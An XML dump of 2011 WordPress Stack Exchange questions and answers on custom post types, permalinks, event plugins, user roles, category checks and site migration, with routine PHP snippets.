  <row Id="11258" PostTypeId="2" ParentId="11244" CreationDate="2011-03-05T20:13:18.290" Score="1" ViewCount="" Body="&lt;p&gt;You could write a plugin and hook into &lt;code&gt;admin_init&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The codex actually gives an example with the feature you are looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/admin_init#Example:_Access_control&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Action_Reference/admin_init#Example:_Access_control&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3637" LastActivityDate="2011-03-05T20:13:18.290" />
  <row Id="11259" PostTypeId="1" AcceptedAnswerId="11286" CreationDate="2011-03-05T20:40:16.367" Score="2" ViewCount="531" Body="&lt;p&gt;So I just updated a site to 3.1 that uses several custom post types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I had made the site I had not noticed at the time the &lt;code&gt;$post_type&lt;/code&gt; parameter for &lt;code&gt;register_post_type&lt;/code&gt; has to be in all lowercase letters! ( it was not well written in the codex but now it is &lt;strong&gt;bold&lt;/strong&gt;).&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type#Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/register_post_type#Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My custom post types were registered with a capitol letter for instance &quot;Rentals&quot; instead of 'rentals'. This was fixed in 3.1 thus any posts registered with upper case letters were totally broken in the back and front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to go back into the function and change it to lowercase and then call another function to update the database with the new name before it fires thanks to a post on wordpress.org by dennis_f.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here new function&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(!get_option('custom_type_updated')){&#xA;global $wpdb;&#xA;$wpdb-&amp;gt;query(&quot;UPDATE $wpdb-&amp;gt;posts SET post_type = 'custom-rental' WHERE post_type = 'Custom-Rental'&quot;);&#xA;update_option('custom_type_updated','true');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here is the register re-written in lowercase&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Custom page template for rentals      -----------------&#xA;function Rental_register_post_type() {&#xA;    register_post_type( 'custom-rental', array(&#xA;        'public'        =&amp;gt; true,&#xA;        'can_export'    =&amp;gt; true,&#xA;        'has_archive'   =&amp;gt; 'Rentals',&#xA;        'rewrite'       =&amp;gt; true,&#xA;        'supports' =&amp;gt; array(&#xA;                ** bunch of supports stuff&#xA;            ),&#xA;        'labels' =&amp;gt; array(&#xA;            **bunch of labels&#xA;            )&#xA;        )&#xA;    );&#xA;}&#xA;add_action( 'init', 'Rental_register_post_type', 0 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This did fix the major issue of broken custom post types BUT&#xA;the problem is now using a custom permalink structure breaks the custom post type 'rentals', only the default works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example www.example.com/?custom-rental=7-bedrooms works fine, but no custom permalink structure works, I have tried each type and cleared the .htaccess and just returns a 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-04-16T22:03:46.040" LastActivityDate="2011-04-16T22:03:46.040" Title="Custom post type permalinks breaking due to 3.1 bug fix" Tags="&lt;posts&gt;&lt;permalinks&gt;&lt;customization&gt;&lt;type&gt;&lt;3.1&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" />
  <row Id="11260" PostTypeId="1" CreationDate="2011-03-05T21:25:37.997" Score="2" ViewCount="136" Body="&lt;p&gt;I'm a front-end designer/developer whose weapon of choice for the back-end is WordPress. Up to this point all of my projects involving WordPress were fairly basic and it has handled everything beautifully. I just landed a new client that wants some extra functionality built into his next project and I'm hoping some of you WordPress wizards can give me some good advice while I'm putting together the quote.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to limit the need for any subcontracting for the back-end functionality, so my question is whether or not WordPress can handle the following (via plugins or light custom manipulation):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea behind the site is to be a community calendar based on location that Health Care providers can log in and post their events to, as well as participate in discussions, blogs and all the other WordPress goodness. The specific functionalities that I'm unsure of the best way to accomplish are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Full featured calendar that members with access can add their own events to - must be searchable by date/type of event/location etc&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Event generator module for members that integrates with calendar - includes upload field for images and forms for details event info&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Interactive map to filter both of the above by location (I'm assuming this will need to be flash, but I'd rather find another solution if possible)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I know there are other solutions out there that may be more suited to this than WordPress (Drupal, custom build, etc) but if it's at all possible to tackle this as a one man show then I'm going to charge it head-on!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Humble web folk and fellow WordPress fans...your insight would be much appreciated. Thanks in advance for your time.&lt;/p&gt;&#xA;" OwnerUserId="3741" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-06T08:33:24.087" LastActivityDate="2011-05-06T08:43:45.903" Title="Can WordPress handle these functionalities?" Tags="&lt;plugins&gt;&lt;plugin-events-calendar&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="11262" PostTypeId="1" CreationDate="2011-03-05T05:03:11.317" Score="0" ViewCount="104" Body="&lt;p&gt;I was just wondering how the add to cart button worked in the e-commerce plugin. I know when you click that button it makes an ajax call to update the number of items in the cart on the screen, but I don't know what the form on the page does. The add to cart button is used as the submit button for the form, and the form submits to itself, but the page does not refresh. I'm just curious what's going on here. Wordpress is pretty foreign to me. Is this for when javascript is disabled or something?&lt;/p&gt;&#xA;" LastActivityDate="2011-03-05T22:30:26.670" Title="Wordpress shoping cart &quot;add to cart&quot; submit button" Tags="&lt;plugins&gt;" />
  <row Id="11263" PostTypeId="2" ParentId="11247" CreationDate="2011-03-05T23:17:48.710" Score="0" ViewCount="" Body="&lt;p&gt;After spending the entire day working on this, I finally found a guide that worked perfectly: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blogsuccessjournal.com/blog-tips-and-advice/wordpress-tips-advice/seeing-weird-characters-on-blog-how-to-fix-wordpress-character-encoding-latin1-to-utf8/&quot; rel=&quot;nofollow&quot;&gt;http://www.blogsuccessjournal.com/blog-tips-and-advice/wordpress-tips-advice/seeing-weird-characters-on-blog-how-to-fix-wordpress-character-encoding-latin1-to-utf8/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Before that, I tried following @Rarst's information, tried exporting the database and manually cleaning it, tried the UTF-8 Sanitize Plugin with a modified version from here &lt;a href=&quot;http://www.prelovac.com/vladimir/ultimate-solution-to-weird-utf-character-encoding-problem&quot; rel=&quot;nofollow&quot;&gt;http://www.prelovac.com/vladimir/ultimate-solution-to-weird-utf-character-encoding-problem&lt;/a&gt; (which actually worked pretty well, but didn't fix all the characters. And was probably a terrible idea).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, if any of you ever encounter this problem, check out the first link I posted. The procedure was pretty simple and basically came down to replacing &lt;code&gt;SET NAMES latin1&lt;/code&gt; with &lt;code&gt;SET NAMES utf8&lt;/code&gt; after exporting the database, then making sure to import the new cleaned database explicitly as UTF8.&lt;/p&gt;&#xA;" OwnerUserId="3298" LastActivityDate="2011-03-05T23:17:48.710" />
  <row Id="11264" PostTypeId="2" ParentId="10447" CreationDate="2011-03-05T23:27:39.963" Score="0" ViewCount="" Body="&lt;p&gt;I ended up using a plugin called &quot;RSS Custom Field Images&quot; and it worked out of the box for me.  I could even edit it to change the size of the image to something more manageable for me.&lt;/p&gt;&#xA;" OwnerUserId="1663" LastActivityDate="2011-03-05T23:27:39.963" />
  <row Id="11265" PostTypeId="2" ParentId="11249" CreationDate="2011-03-05T23:40:37.193" Score="0" ViewCount="" Body="&lt;p&gt;Sorted this is the new code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;            if ($imgurlbase != '' ) { ?&amp;gt;&#xA;&#xA;            &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/timthumb.php?src=&amp;lt;?php echo $imgurlbase . $imgfromtv; ?&amp;gt;&amp;amp;h=62&amp;amp;w=75&quot; alt=&quot;&amp;lt;?php echo $programme; ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;            &amp;lt;?php } elseif ($imgurlbase == '' ) { ?&amp;gt;&#xA;&#xA;                &amp;lt;img src=&quot;&amp;lt;?php bloginfo('template_url'); ?&amp;gt;/timthumb.php?src=&amp;lt;?php&#xA;                $args = array(&#xA;                    'post_type' =&amp;gt; 'attachment',&#xA;                    'numberposts' =&amp;gt; -1,&#xA;                    'post_title' =&amp;gt; $programme&#xA;                    ); &#xA;                $attachments = get_posts( $args );&#xA;&#xA;                $found = 0;&#xA;                foreach ( $attachments as $attachment ) {&#xA;                   if ($attachment-&amp;gt;post_title == $programme) {&#xA;                      echo wp_get_attachment_url($attachment-&amp;gt;ID);&#xA;                      ++$found;&#xA;                   }&#xA;                }&#xA;                if (!$found) {&#xA;                   echo '/images/nontvimg.jpg';&#xA;                }&#xA;&#xA;                ?&amp;gt;&amp;amp;h=62&amp;amp;w=75&quot;&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3388" LastActivityDate="2011-03-05T23:40:37.193" CommentCount="1" />
  <row Id="11266" PostTypeId="1" AcceptedAnswerId="11285" CreationDate="2011-03-06T00:32:38.017" Score="1" ViewCount="78" Body="&lt;p&gt;I'm building a website that will only have one post type called Work. This post type will need a field as well. Should I just use the default post type (post) and use custom fields or hide the default post type and create a brand new one called Work? If the former, is there a way to change &quot;Post&quot; to &quot;Work&quot; in the dashboard?&lt;/p&gt;&#xA;" OwnerUserId="3714" LastActivityDate="2011-03-06T07:55:49.137" Title="custom post type - use default or create new?" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="11267" PostTypeId="1" AcceptedAnswerId="11284" CreationDate="2011-03-06T00:49:12.880" Score="0" ViewCount="296" Body="&lt;p&gt;question is simple (i don't know is aswer too ;)&lt;br&gt;&#xA;I just want to check that, does a category has child (or is ancestor) from its cat-id with a function.&lt;br&gt;&#xA;Eg.&lt;br&gt;&#xA;&lt;code&gt;function check_category ($catid){&lt;br&gt;............&lt;br&gt;...//true if is ancestor, false if not&lt;br&gt;return $result;&lt;br&gt;}&#xA;&lt;/code&gt;&#xA;&lt;br&gt;Note: I can only pass cat-id parameter for function because i need to use it in functions.php&lt;br&gt;Thanks in advance...&lt;/p&gt;&#xA;" OwnerUserId="3405" LastActivityDate="2011-03-07T01:00:43.000" Title="Check is category parent or not from its ID" Tags="&lt;categories&gt;&lt;functions&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="11268" PostTypeId="1" CreationDate="2011-03-05T10:11:51.283" Score="0" ViewCount="112" Body="&lt;p&gt;I would like to define an admin that has Administrator rights to everything - thats of course possible, its the default functionality. then i would also like to create an admin (or role) that can only edit and see certain PAGES in the backend. i have gone through many plugins but i can't seem to find this functionality anywhere!&#xA;any ideas?&#xA;thanks!&#xA;mark&lt;/p&gt;&#xA;" LastActivityDate="2011-08-21T23:33:09.390" Title="Wordpress Admins or Roles per Page" Tags="&lt;admin&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="11269" PostTypeId="2" ParentId="11268" CreationDate="2011-03-05T18:57:04.877" Score="0" ViewCount="" Body="&lt;p&gt;I haven't seen any plugin that can do what you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You didn't cited any programming possibility, but if you want to scratch a plugin to do this exactly as you want, you might look at the &lt;a href=&quot;http://codex.wordpress.org/User_Levels&quot; rel=&quot;nofollow&quot;&gt;user levels&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;admin hooks&lt;/a&gt;. Starting from there, you'll have to apply rules and modify the admin query for getting pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Perhaps, maybe the built-in user permissions (author and editor) can already do that, as authors can't edit things created by other users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps... somehow.&lt;/p&gt;&#xA;" OwnerUserId="7385" LastActivityDate="2011-03-05T18:57:04.877" />
  <row Id="11270" PostTypeId="1" AcceptedAnswerId="12330" CreationDate="2011-03-06T00:56:14.097" Score="4" ViewCount="354" Body="&lt;p&gt;i know &lt;a href=&quot;http://wordpress.stackexchange.com/questions/207/plugin-for-event-management&quot;&gt;similar&lt;/a&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11260/can-wordpress-handle-these-functionalities&quot;&gt;questions&lt;/a&gt; have been asked before, but the answer's to them don't quite satisfy my needs, so i'm re-iterating the question:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a modern Event Management plugin with the following criteria:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;simple, WP-like UI (Event Calendar 3 is excellent in that regard)&lt;/li&gt;&#xA;&lt;li&gt;uses modern WP functionality like custom post types or post meta&lt;/li&gt;&#xA;&lt;li&gt;Events are either posts or a custom post type or at least behave like so&lt;/li&gt;&#xA;&lt;li&gt;multiple days per Event (can be a single span over several days)&lt;/li&gt;&#xA;&lt;li&gt;Registration Management&lt;/li&gt;&#xA;&lt;li&gt;clickable Event List or Event Calendar Widget&lt;/li&gt;&#xA;&lt;li&gt;ideally, Paypal Integration&lt;/li&gt;&#xA;&lt;li&gt;ideally, Email Notification&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've tested a few, but:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Events Calendar 3 seems to do a lot of things right, but is too basic&lt;/li&gt;&#xA;&lt;li&gt;Events Manager Extended looks good, but doesn't seem to work properly with 3.1 (i get neither the map display nor a registration option to show on frontend)&lt;/li&gt;&#xA;&lt;li&gt;WP Events Calendar just feels ages old and overwrites my stylesheet on every update&lt;/li&gt;&#xA;&lt;li&gt;Event Espresso Lite looks great in terms of functionality, but the Admin Interface is horrible UI&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I also tested 'Events' and a few others which were either too simple or had horrible admin interfaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything i haven't seen, yet that i should have a look at?&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-05-13T11:35:40.840" Title="The holy grail of Event Management Plugins?" Tags="&lt;plugin-recommendation&gt;&lt;events&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="6" />
  <row Id="11271" PostTypeId="1" AcceptedAnswerId="11298" CreationDate="2011-03-06T01:19:44.630" Score="1" ViewCount="198" Body="&lt;p&gt;OK, I'm using posts_query() to display posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, at least in my case, posts_query() always outputs something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    $paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;    query_posts(&quot;posts_per_page=1&amp;amp;paged=$paged&quot;);&#xA;    global $more;&#xA;    $more = 0;&#xA;&#xA;    while ( have_posts() ) : the_post(); ?&amp;gt;    &#xA;        &amp;lt;!--- DO NOTHING ! --&amp;gt;&#xA;    &amp;lt;?php endwhile ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Displays raw first part of a post (and without $more = 0 the whole post).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is it happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to style the output on my own, but I'm not able to, because for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;while ( have_posts() ) : the_post(); ?&amp;gt;    &#xA;         &amp;lt;h1&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;         &amp;lt;h3&amp;gt;&amp;lt;?php the_content( __( '') ); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&amp;lt;?php endwhile ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gives:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h1&amp;gt;MyTitle&amp;lt;/h1&amp;gt;&#xA;&amp;lt;h3&amp;gt;something something something something something&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;something something something something something&amp;lt;/p&amp;gt; &amp;lt;!-- (wherethis line comes from? ;/) ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition I'm almost sure pagination doesn't work as well, and I believe it should this way? I have around 15 posts to display, I've chosen 1, why there's no navi? :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exact code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function posts_shortcode( $atts ) {&#xA;     extract( shortcode_atts( array(&#xA;        ), $atts ) );  &#xA;&#xA;        query_posts(&quot;posts_per_page=1&quot;);&#xA;        global $more;&#xA;        $more = 0;&#xA;&#xA;        while ( have_posts() ) : the_post(); ?&amp;gt;    &#xA;         &amp;lt;h1&amp;gt;&amp;lt;?php the_title();?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;         &amp;lt;h3&amp;gt;&amp;lt;?php the_content( __( '') ); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;         &amp;lt;?php endwhile;&#xA;}&#xA;&#xA;add_shortcode('posts', 'posts_shortcode');  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1869" LastEditorDisplayName="" LastEditDate="2011-03-06T12:13:38.383" LastActivityDate="2011-03-08T09:35:00.570" Title="query_posts() ALWAYS displays something?" Tags="&lt;query-posts&gt;&lt;loop&gt;&lt;query&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="11272" PostTypeId="1" CreationDate="2011-03-06T01:32:58.353" Score="0" ViewCount="37" Body="&lt;p&gt;I just imported a blog from blogger to wordpress recently. The blog consisted of about 3500 tags in total. On importing them into wordpress, they were converted to categories for some reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have installed and the &lt;strong&gt;categories to converter&lt;/strong&gt; plugin by wordpress that allows you to convert them to tags. On the converter page, i have checked all the categories (using the &lt;strong&gt;check all&lt;/strong&gt; button) then clicked on the &lt;strong&gt;convert to tag&lt;/strong&gt; button. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after waiting for the conversion to take place, the page refreshes and goes back to exactly how it was before i clicked on the button, i.e, nothing is converted. Tried is several times and even uninstalled and re-installed the plugin but no luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Was wondering if someone else has had the same problem and resolved in. I'd appreciate any help&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3342" LastEditorUserId="3342" LastEditorDisplayName="" LastEditDate="2011-03-06T09:51:21.697" LastActivityDate="2011-03-06T09:51:21.697" Title="Wordpress &quot;Categories to tag converter&quot; not working on imported Blogger posts" Tags="&lt;plugins&gt;&lt;categories&gt;&lt;wp-admin&gt;&lt;tags&gt;" />
  <row Id="11273" PostTypeId="1" CreationDate="2011-03-06T02:10:36.927" Score="1" ViewCount="66" Body="&lt;p&gt;I just installed the List Category Post plugin, and I've followed the directions. No posts are being listed. For example, at the end of this page, there should be a list, and it's just blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the plugin working on 3.1?&lt;/p&gt;&#xA;" LastActivityDate="2011-03-06T02:39:28.633" Title="No posts are being listed by &lt;plugin-list-category-post&gt;" Tags="&lt;plugin-list-category-post&gt;" AnswerCount="1" />
  <row Id="11274" PostTypeId="1" CreationDate="2011-03-06T02:12:33.260" Score="0" ViewCount="188" Body="&lt;p&gt;I am asking again because did not get exact answer ,I want code whoch will autotically check ALL the posts ,fins some matching keyword ,if keyword matches assign category to matching posts ,this means the posts which were are already created&lt;/p&gt;&#xA;" OwnerUserId="3695" LastActivityDate="2011-03-06T02:12:33.260" Title="Auto assign post to category" Tags="&lt;categories&gt;&lt;automate&gt;" CommentCount="5" />
  <row Id="11275" PostTypeId="2" ParentId="11273" CreationDate="2011-03-06T02:39:28.633" Score="1" ViewCount="" Body="&lt;p&gt;Oops. It turns out that the posts in the category I wanted were scheduled for the future, which means they were hidden from the code. Nevermind!&lt;/p&gt;&#xA;" LastActivityDate="2011-03-06T02:39:28.633" CommentCount="1" />
  <row Id="11276" PostTypeId="1" AcceptedAnswerId="11278" CreationDate="2011-03-06T02:40:45.537" Score="1" ViewCount="87" Body="&lt;p&gt;Is it possible to have a multisite wide post type without duplicating the posts? That is a post type that is the same no matter what blog you are on? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Theoretical example:&lt;/em&gt; StackExchange has many sites (blogs) but wants their site-wide news post type, I'll call it &lt;code&gt;sitewide_news&lt;/code&gt;, to be the same on every blog. If they happen to be in blog id 4 and make a change or add a new post it will show up in 3 or 8 as if they made the change there. In other words only one database entry exists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-03-06T03:06:55.100" Title="Multisite wide post type?" Tags="&lt;custom-post-types&gt;&lt;multisite&gt;" AnswerCount="1" />
  <row Id="11277" PostTypeId="2" ParentId="8066" CreationDate="2011-03-06T02:44:33.247" Score="0" ViewCount="" Body="&lt;p&gt;I believe Event Espresso does... &lt;a href=&quot;http://eventespresso.com/&quot; rel=&quot;nofollow&quot;&gt;http://eventespresso.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1057" LastActivityDate="2011-03-06T02:44:33.247" />
  <row Id="11278" PostTypeId="2" ParentId="11276" CreationDate="2011-03-06T03:06:55.100" Score="2" ViewCount="" Body="&lt;p&gt;I've been using &lt;a href=&quot;http://wordpress.org/extend/plugins/threewp-broadcast/&quot; rel=&quot;nofollow&quot;&gt;this plugin&lt;/a&gt;, which works really, really well.&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-03-06T03:06:55.100" />
  <row Id="11279" PostTypeId="2" ParentId="11268" CreationDate="2011-03-06T03:33:58.620" Score="0" ViewCount="" Body="&lt;p&gt;Try using &lt;a href=&quot;http://wordpress.org/extend/plugins/adminimize/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/adminimize/&lt;/a&gt; its a great plugin I use on all the sites I do. You can leave admin as default but specify exactly what you want and dont want all other users to see. So you can hide everything but the pages section for all editors if you wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="3181" LastActivityDate="2011-03-06T03:33:58.620" />
  <row Id="11280" PostTypeId="1" CreationDate="2011-03-06T03:37:45.480" Score="0" ViewCount="271" Body="&lt;p&gt;Okay, apologies up front for being such a coding novice. I am transferring a web site (not a blog) from a CMS called Populate over to WordPress, from one hosting to a different hosting. I don't have access to the source files on the current host. (Long story short, I'm not a code/site thief: the owner of the site business and its domain is locked out by her former admin. She asked me to help her transfer her site.) So... I'm looking at a lot of copying and pasting -- field by field! -- of the content from Populate over to WordPress.&#xA;QUESTION: Is there a more efficient way to do this? I can grab source code from View Source, of course, but what good is that for plugging wholesale into Word Press? And I don't write PHP (shame on me, eh?) Or is there a way to do that? (Fingers crossed!)&#xA;Thanks a ton!&#xA;C&lt;/p&gt;&#xA;" LastEditorUserId="268" LastEditorDisplayName="" LastEditDate="2011-09-02T22:13:53.200" LastActivityDate="2011-09-02T22:13:53.200" Title="Transferring from &quot;Populate&quot; CMS to WordPress" Tags="&lt;installation&gt;&lt;migration&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="11281" PostTypeId="2" ParentId="11280" CreationDate="2011-03-06T04:15:51.643" Score="0" ViewCount="" Body="&lt;p&gt;WordPress exports and imports its own posts through WordPress eXtended RSS (WXR). If you have access to an RSS feed of you content that's a good start. If you have access to templates powering your site then look at extending basic RSS with WXR fields.&lt;/p&gt;&#xA;" LastActivityDate="2011-03-06T04:15:51.643" />
  <row Id="11283" PostTypeId="2" ParentId="11244" CreationDate="2011-03-06T05:21:15.047" Score="1" ViewCount="" Body="&lt;p&gt;I would use &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-user-frontend/&quot; rel=&quot;nofollow&quot;&gt;WP Frontend&lt;/a&gt; and set it for everybody exept mods.&lt;/p&gt;&#xA;" OwnerUserId="2606" LastActivityDate="2011-03-06T05:21:15.047" />
  <row Id="11284" PostTypeId="2" ParentId="11267" CreationDate="2011-03-06T07:50:00.220" Score="0" ViewCount="" Body="&lt;p&gt;You can do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function category_has_parent($catid){&#xA;    $category = get_category($catid);&#xA;    if ($category-&amp;gt;category_parent &amp;gt; 0){&#xA;        return true;&#xA;    }&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and use it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (category_has_parent('22')){&#xA;   //true there is a parent category&#xA;}else{&#xA;   //false this category has no parent&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;to check the other way around (if a category has children) you can use get_categories&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$children = get_categories(array('child_of' =&amp;gt; id,'hide_empty' =&amp;gt; 0));&#xA;if (count($children) &amp;gt; 1){&#xA;    //has childern&#xA;}else{&#xA;    //no children&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-03-07T01:00:43.000" LastActivityDate="2011-03-07T01:00:43.000" CommentCount="6" />
  <row Id="11285" PostTypeId="2" ParentId="11266" CreationDate="2011-03-06T07:55:49.137" Score="1" ViewCount="" Body="&lt;p&gt;There is no need to create a new post type and remove the regular post, just rename post to work,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('gettext','rename_post_to_work');&#xA;function rename_post_to_work( $input ) {&#xA;    if( is_admin() &amp;amp;&amp;amp; 'post' == $input || 'Post' == $post_type )&#xA;        return 'Work';&#xA;    return $input;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-06T07:55:49.137" />
  <row Id="11286" PostTypeId="2" ParentId="11259" CreationDate="2011-03-06T07:59:19.033" Score="2" ViewCount="" Body="&lt;p&gt;To avoid this from happening simply add &lt;code&gt;flush_rewrite_rules( false );&lt;/code&gt; after your register_post_type function.&#xA;you can read about it more here &#xA;&lt;a href=&quot;http://en.bainternet.info/2011/custom-post-type-getting-404-on-permalinks&quot; rel=&quot;nofollow&quot;&gt;http://en.bainternet.info/2011/custom-post-type-getting-404-on-permalinks&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-06T07:59:19.033" />
  <row Id="11287" PostTypeId="2" ParentId="8066" CreationDate="2011-03-06T08:47:33.607" Score="1" ViewCount="" Body="&lt;p&gt;You can use the Custom Post Types feature to build your own version with exactly the options you need, a good starting point can be found here:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.noeltock.com/web-design/wordpress/custom-post-types-events-pt1/&quot; rel=&quot;nofollow&quot;&gt;http://www.noeltock.com/web-design/wordpress/custom-post-types-events-pt1/&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.noeltock.com/web-design/wordpress/how-to-custom-post-types-for-events-pt-2/&quot; rel=&quot;nofollow&quot;&gt;http://www.noeltock.com/web-design/wordpress/how-to-custom-post-types-for-events-pt-2/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastActivityDate="2011-03-06T08:47:33.607" />
  <row Id="11288" PostTypeId="1" AcceptedAnswerId="11289" CreationDate="2011-03-06T08:58:03.127" Score="0" ViewCount="257" Body="&lt;p&gt;Basically I want to display a form on my blog (on a certain page) that will allow anyone to fill it out and it will create a post in a custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw the answer once before but I can't find it now.&lt;/p&gt;&#xA;" OwnerUserId="2415" LastActivityDate="2011-03-06T09:23:57.543" Title="Form to Add Posts to Custom Post Type" Tags="&lt;theme-development&gt;" AnswerCount="1" FavoriteCount="0" />
